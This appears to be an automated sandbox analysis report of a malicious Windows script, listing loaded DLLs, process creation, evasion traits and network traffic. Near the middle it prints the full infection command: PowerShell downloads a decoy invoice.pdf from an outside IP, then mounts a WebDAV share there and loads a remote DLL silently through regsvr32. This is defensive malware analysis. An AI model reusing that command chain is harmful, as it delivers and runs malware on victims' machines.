Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9549.js.csv");ITextStream.WriteLine(" entry:8050 f:ryjjjzmo");ITextStream.WriteLine(" exec:2 f:ryjjjzmo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49703

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4380			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4973			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 792	Thread sleep count: 4380 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 792	Thread sleep count: 4973 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1512	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1456	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3172	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1264	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1432	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7348	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000C.00000002.1313824534.000002771E57E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1313824534.000002771E518000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2550617339.000001B10F456000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2549390257.000001B109E2B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
